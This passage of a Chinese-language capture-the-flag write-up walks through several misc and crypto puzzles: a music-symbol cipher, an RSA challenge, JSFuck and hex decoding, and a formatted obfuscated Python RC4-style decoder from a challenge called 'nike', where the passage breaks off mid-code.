<p><img
  src="/43dade/nsctf4_misc_4_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="692" height="221"
/>
</p>
<p>把ejfg作为密码转为字符串，<a
  href="https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue" rel="nofollow noopener noreferrer" target="_blank"
  >在线网站<span style="user-select:none"> ↗</span></a
>
</p>
<p><img
  src="/43dade/nsctf4_misc_4_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="692" height="196"
/>
</p>
<h2 id="crypto">Crypto<a class="anchor" href="#crypto">#</a></h2>
<h3 id="rsa">RSA<a class="anchor" href="#rsa">#</a></h3>
<p>图解</p>
<p><img
  src="/43dade/nsctf4_crypto_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="457" height="443"
/>
</p>
<p><img
  src="/43dade/nsctf4_crypto_1_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="554" height="308"
/>
</p>
<p>flagMD5加密后大写</p>
<h3 id="简单编码">简单编码<a class="anchor" href="#简单编码">#</a></h3>
<p>下载下来，补全压缩后缀，打开后里面是jsfuck文件，在线解码</p>
<p><img
  src="/43dade/nsctf4_crypto_2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="622" height="257"
/>
</p>
<p>10进制转16进制</p>
<p><img
  src="/43dade/nsctf4_crypto_2_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="587" height="377"
/>
</p>
<p>十六进制转字符串，每两位数字是一位字符，转后为<code>id_jws</code>,MD5加密大写</p>
<p><img
  src="/43dade/nsctf4_crypto_2_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="506" height="290"
/>
</p>
<h3 id="nike">nike<a class="anchor" href="#nike">#</a></h3>
<p>原题，解压一行py脚本，格式化</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="p">(</span><span class="k">lambda</span> <span class="n">__operator</span><span class="p">,</span> <span class="n">__print</span><span class="p">,</span> <span class="n">__g</span><span class="p">,</span> <span class="n">__y</span><span class="p">:</span> <span class="p">[(</span><span class="n">sys</span><span class="o">.</span><span class="n">setrecursionlimit</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl">        <span class="mi">1000000</span><span class="p">),</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">  3</span><span class="cl">        <span class="p">[</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl">            <span class="p">[</span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl">                <span class="p">[</span>
</span></span><span class="line"><span class="ln">  6</span><span class="cl">                    <span class="p">[(</span><span class="n">decode</span><span class="p">(</span><span class="n">cipher</span><span class="p">),</span> <span class="kc">None</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">  7</span><span class="cl">                        <span class="k">for</span> <span class="n">__g</span><span class="p">[</span><span class="s1">&#39;cipher&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[(</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">                            <span class="s1">&#39;D6VNEIRAryZ8Opdbl3bOwqmBD+lmFXbcd/XfgHalqYBh1FDtbJo=&#39;</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl">                        <span class="p">)]</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">                    <span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">                    <span class="k">for</span> <span class="n">__g</span><span class="p">[</span><span class="s1">&#39;decode&#39;</span><span class="p">],</span> <span class="n">decode</span><span class="o">.</span><span class="vm">__name__</span> <span class="ow">in</span> <span class="p">[(</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">                        <span class="k">lambda</span> <span class="n">cipher</span><span class="p">:</span> <span class="p">(</span><span class="k">lambda</span> <span class="n">__l</span><span class="p">:</span> <span class="p">[(</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">                                <span class="n">init</span><span class="p">(),</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">                                    <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">                                        <span class="p">[(</span><span class="k">lambda</span> <span class="n">__after</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">                                            <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">                                                <span class="n">__print</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">                                                    <span class="s1">&#39;sorry,you dont have the auth&#39;</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">                                                <span class="p">),</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">                                                <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">                                            <span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">                                            <span class="k">if</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">                                                <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">                                                    <span class="s1">&#39;auth&#39;</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">                                                <span class="p">]</span> <span class="o">!=</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">                                                <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">                                            <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">                                            <span class="k">else</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">                                                <span class="n">__after</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">                                        <span class="p">)(</span><span class="k">lambda</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">                                            <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">                                                <span class="k">lambda</span> <span class="n">__items</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">                                                <span class="n">__after</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">                                                <span class="n">__sentinel</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">                                                <span class="n">__y</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">                                                    <span class="k">lambda</span> <span class="n">__this</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">                                                    <span class="k">lambda</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">                                                    <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">                                                        <span class="k">lambda</span> <span class="n">__i</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">                                                            <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">                                                                <span class="n">__this</span><span class="p">()</span> <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">                                                                    <span class="s1">&#39;result&#39;</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">                                                                <span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">                                                                    <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">                                                                        <span class="n">__operator</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">                                                                        <span class="o">.</span><span class="n">iadd</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">                                                                            <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">                                                                                <span class="s1">&#39;result&#39;</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">                                                                            <span class="p">],</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">                                                                            <span class="nb">chr</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">                                                                                <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">                                                                                    <span class="n">s</span><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">                                                                                        <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">                                                                                            <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">                                                                                                <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">                                                                                            <span class="p">]</span> <span class="o">%</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">                                                                                            <span class="mi">256</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">                                                                                        <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">                                                                                    <span class="p">]</span> <span class="o">^</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">                                                                                    <span class="nb">ord</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">                                                                                        <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">                                                                                            <span class="s1">&#39;cipher&#39;</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">                                                                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">                                                                                        <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">                                                                                            <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">                                                                                                <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">                                                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">                                                                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">                                                                                    <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">                                                                                <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">                                                                            <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">                                                                        <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">                                                                    <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">                                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">                                                            <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">                                                                <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">                                                            <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">                                                                <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">                                                            <span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">                                                                <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">                                                                    <span class="n">__i</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">                                                                <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">                                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">                                                        <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">                                                            <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">                                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">                                                        <span class="k">if</span> <span class="n">__i</span> <span class="ow">is</span> <span class="ow">not</span> <span class="n">__sentinel</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">                                                        <span class="k">else</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">                                                            <span class="n">__after</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">                                                    <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">                                                    <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">                                                        <span class="nb">next</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">                                                            <span class="n">__items</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">                                                            <span class="n">__sentinel</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">                                                        <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">                                                    <span class="p">)</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">                                                <span class="p">)</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">                                                <span class="p">()</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">                                            <span class="p">)(</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">                                                <span class="nb">iter</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">                                                    <span class="nb">range</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">                                                        <span class="nb">len</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">                                                            <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">                                                                <span class="s1">&#39;cipher&#39;</span>
</span></span><span class="line"><span class="ln">108</span><span class="cl">                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">                                                        <span class="p">)</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">                                                    <span class="p">)</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">                                                <span class="p">),</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">                                                <span class="k">lambda</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">                                                <span class="p">(</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">                                                    <span class="n">__print</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">                                                        <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">116</span><span class="cl">                                                            <span class="s1">&#39;result&#39;</span>
</span></span><span class="line"><span class="ln">117</span><span class="cl">                                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">                                                        <span class="o">.</span><span class="n">encode</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">                                                            <span class="s1">&#39;base64&#39;</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">                                                        <span class="p">)</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">                                                    <span class="p">),</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">                                                    <span class="kc">None</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">                                                <span class="p">)[</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">                                                    <span class="mi">1</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">                                                <span class="p">],</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">                                            <span class="p">))</span> <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">127</span><span class="cl">                                            <span class="s1">&#39;auth&#39;</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">                                        <span class="p">]</span> <span class="ow">in</span> <span class="p">[(</span><span class="mi">0</span><span class="p">)]][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">                                        <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">                                            <span class="s1">&#39;cipher&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">                                            <span class="p">(</span><span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">                                                <span class="s1">&#39;cipher&#39;</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">                                            <span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">                                                <span class="s1">&#39;base64&#39;</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl">                                            <span class="p">))</span>
</span></span><span class="line"><span class="ln">136</span><span class="cl">                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln">137</span><span class="cl">                                    <span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">138</span><span class="cl">                                    <span class="k">for</span> <span class="n">__l</span><span class="p">[</span><span class="s1">&#39;result&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">                                        <span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">140</span><span class="cl">                                    <span class="p">]</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">                                <span class="p">][</span><span class="mi">0</span><span class="p">])[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">                            <span class="k">for</span> <span class="n">__l</span><span class="p">[</span><span class="s1">&#39;cipher&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[(</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl">                                <span class="n">cipher</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">                        <span class="p">][</span><span class="mi">0</span><span class="p">])(</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">                        <span class="p">{}),</span> <span class="s1">&#39;decode&#39;</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl">                <span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">                <span class="k">for</span> <span class="n">__g</span><span class="p">[</span><span class="s1">&#39;init&#39;</span><span class="p">],</span> <span class="n">init</span><span class="o">.</span><span class="vm">__name__</span> <span class="ow">in</span> <span class="p">[(</span><span class="k">lambda</span><span class="p">:</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">                    <span class="k">lambda</span> <span class="n">__l</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl">                        <span class="p">[(</span><span class="k">lambda</span> <span class="n">__items</span><span class="p">,</span> <span class="n">__after</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">                            <span class="n">__sentinel</span><span class="p">:</span> <span class="n">__y</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">                                <span class="k">lambda</span> <span class="n">__this</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl">                                <span class="k">lambda</span><span class="p">:</span> <span class="p">(</span><span class="k">lambda</span> <span class="n">__i</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">153</span><span class="cl">                                        <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">append</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">154</span><span class="cl">                                            <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">                                                <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">                                        <span class="p">),</span> <span class="p">(</span><span class="n">k</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">                                            <span class="o">.</span><span class="n">append</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">                                                <span class="nb">ord</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl">                                                    <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">                                                        <span class="s1">&#39;key&#39;</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">                                                    <span class="p">]</span>
</span></span><span class="line"><span class="ln">163</span><span class="cl">                                                    <span class="p">[</span>
</span></span><span class="line"><span class="ln">164</span><span class="cl">                                                        <span class="p">(</span>
</span></span><span class="line"><span class="ln">165</span><span class="cl">                                                            <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">166</span><span class="cl">                                                                <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln">167</span><span class="cl">                                                            <span class="p">]</span> <span class="o">%</span>
</span></span><span class="line"><span class="ln">168</span><span class="cl">                                                            <span class="nb">len</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">169</span><span class="cl">                                                                <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">170</span><span class="cl">                                                                    <span class="s1">&#39;key&#39;</span>
</span></span><span class="line"><span class="ln">171</span><span class="cl">                                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln">172</span><span class="cl">                                                            <span class="p">)</span>
</span></span><span class="line"><span class="ln">173</span><span class="cl">                                                        <span class="p">)</span>
</span></span><span class="line"><span class="ln">174</span><span class="cl">                                                    <span class="p">]</span>
</span></span><span class="line"><span class="ln">175</span><span class="cl">                                                <span class="p">)</span>
</span></span><span class="line"><span class="ln">176</span><span class="cl">                                            <span class="p">),</span>
</span></span><span class="line"><span class="ln">177</span><span class="cl">                                            <span class="n">__this</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">178</span><span class="cl">                                        <span class="p">)[</span><span class="mi">1</span><span class="p">])[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">179</span><span class="cl">                                        <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">180</span><span class="cl">                                            <span class="s1">&#39;i&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">181</span><span class="cl">                                            <span class="p">(</span><span class="n">__i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">182</span><span class="cl">                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln">183</span><span class="cl">                                    <span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">184</span><span class="cl">                                    <span class="k">if</span> <span class="n">__i</span> <span class="ow">is</span> <span class="ow">not</span> <span class="n">__sentinel</span>
</span></span><span class="line"><span class="ln">185</span><span class="cl">                                    <span class="k">else</span> <span class="n">__after</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">186</span><span class="cl">                                <span class="p">)(</span><span class="nb">next</span><span class="p">(</span><span class="n">__items</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">187</span><span class="cl">                                    <span class="n">__sentinel</span>
</span></span><span class="line"><span class="ln">188</span><span class="cl">                                <span class="p">)))())(</span><span class="nb">iter</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">189</span><span class="cl">                            <span class="mi">256</span><span class="p">)),</span> <span class="k">lambda</span><span class="p">:</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln">190</span><span class="cl">                            <span class="k">lambda</span> <span class="n">__items</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">191</span><span class="cl">                            <span class="n">__after</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">192</span><span class="cl">                            <span class="n">__sentinel</span><span class="p">:</span> <span class="n">__y</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">193</span><span class="cl">                                <span class="k">lambda</span> <span class="n">__this</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">194</span><span class="cl">                                <span class="k">lambda</span><span class="p">:</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln">195</span><span class="cl">                                    <span class="k">lambda</span> <span class="n">__i</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">196</span><span class="cl">                                        <span class="p">[</span>
</span></span><span class="line"><span class="ln">197</span><span class="cl">                                            <span class="p">[</span>
</span></span><span class="line"><span class="ln">198</span><span class="cl">                                                <span class="p">[</span>
</span></span><span class="line"><span class="ln">199</span><span class="cl">                                                    <span class="p">[</span>
</span></span><span class="line"><span class="ln">200</span><span class="cl">                                                        <span class="n">__this</span><span class="p">()</span> <span class="k">for</span> <span class="n">s</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">201</span><span class="cl">                                                            <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">202</span><span class="cl">                                                                <span class="s1">&#39;j&#39;</span>
</span></span><span class="line"><span class="ln">203</span><span class="cl">                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">204</span><span class="cl">                                                        <span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">205</span><span class="cl">                                                            <span class="p">(</span>
</span></span><span class="line"><span class="ln">206</span><span class="cl">                                                                <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">207</span><span class="cl">                                                                    <span class="s1">&#39;tmp&#39;</span>
</span></span><span class="line"><span class="ln">208</span><span class="cl">                                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln">209</span><span class="cl">                                                            <span class="p">)</span>
</span></span><span class="line"><span class="ln">210</span><span class="cl">                                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln">211</span><span class="cl">                                                    <span class="p">]</span>
</span></span><span class="line"><span class="ln">212</span><span class="cl">                                                    <span class="p">[</span>
</span></span><span class="line"><span class="ln">213</span><span class="cl">                                                        <span class="mi">0</span>
</span></span><span class="line"><span class="ln">214</span><span class="cl">                                                    <span class="p">]</span>
</span></span><span class="line"><span class="ln">215</span><span class="cl">                                                    <span class="k">for</span> <span class="n">s</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">216</span><span class="cl">                                                        <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">217</span><span class="cl">                                                            <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln">218</span><span class="cl">                                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln">219</span><span class="cl">                                                    <span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">220</span><span class="cl">                                                        <span class="p">(</span>
</span></span><span class="line"><span class="ln">221</span><span class="cl">                                                            <span class="n">s</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">222</span><span class="cl">                                                                <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">223</span><span class="cl">                                                                    <span class="s1">&#39;j&#39;</span>
</span></span><span class="line"><span class="ln">224</span><span class="cl">                                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln">225</span><span class="cl">                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">226</span><span class="cl">                                                        <span class="p">)</span>
</span></span><span class="line"><span class="ln">227</span><span class="cl">                                                    <span class="p">]</span>
</span></span><span class="line"><span class="ln">228</span><span class="cl">                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln">229</span><span class="cl">                                                <span class="p">[</span>
</span></span><span class="line"><span class="ln">230</span><span class="cl">                                                    <span class="mi">0</span>
</span></span><span class="line"><span class="ln">231</span><span class="cl">                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln">232</span><span class="cl">                                                <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">233</span><span class="cl">                                                    <span class="s1">&#39;tmp&#39;</span>
</span></span><span class="line"><span class="ln">234</span><span class="cl">                                                <span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">235</span><span class="cl">                                                    <span class="p">(</span>
</span></span><span class="line"><span class="ln">236</span><span class="cl">                                                        <span class="n">s</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">237</span><span class="cl">                                                            <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">238</span><span class="cl">                                                                <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln">239</span><span class="cl">                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">240</span><span class="cl">                                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln">241</span><span class="cl">                                                    <span class="p">)</span>
</span></span><span class="line"><span class="ln">242</span><span class="cl">                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln">243</span><span class="cl">                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">244</span><span class="cl">                                            <span class="p">[</span>
</span></span><span class="line"><span class="ln">245</span><span class="cl">                                                <span class="mi">0</span>
</span></span><span class="line"><span class="ln">246</span><span class="cl">                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">247</span><span class="cl">                                            <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">248</span><span class="cl">                                                <span class="s1">&#39;j&#39;</span>
</span></span><span class="line"><span class="ln">249</span><span class="cl">                                            <span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">250</span><span class="cl">                                                <span class="p">(</span>
</span></span><span class="line"><span class="ln">251</span><span class="cl">                                                    <span class="p">(</span>
</span></span><span class="line"><span class="ln">252</span><span class="cl">                                                        <span class="p">(</span>
</span></span><span class="line"><span class="ln">253</span><span class="cl">                                                            <span class="p">(</span>
</span></span><span class="line"><span class="ln">254</span><span class="cl">                                                                <span class="n">__l</span><span class="p">[</span>
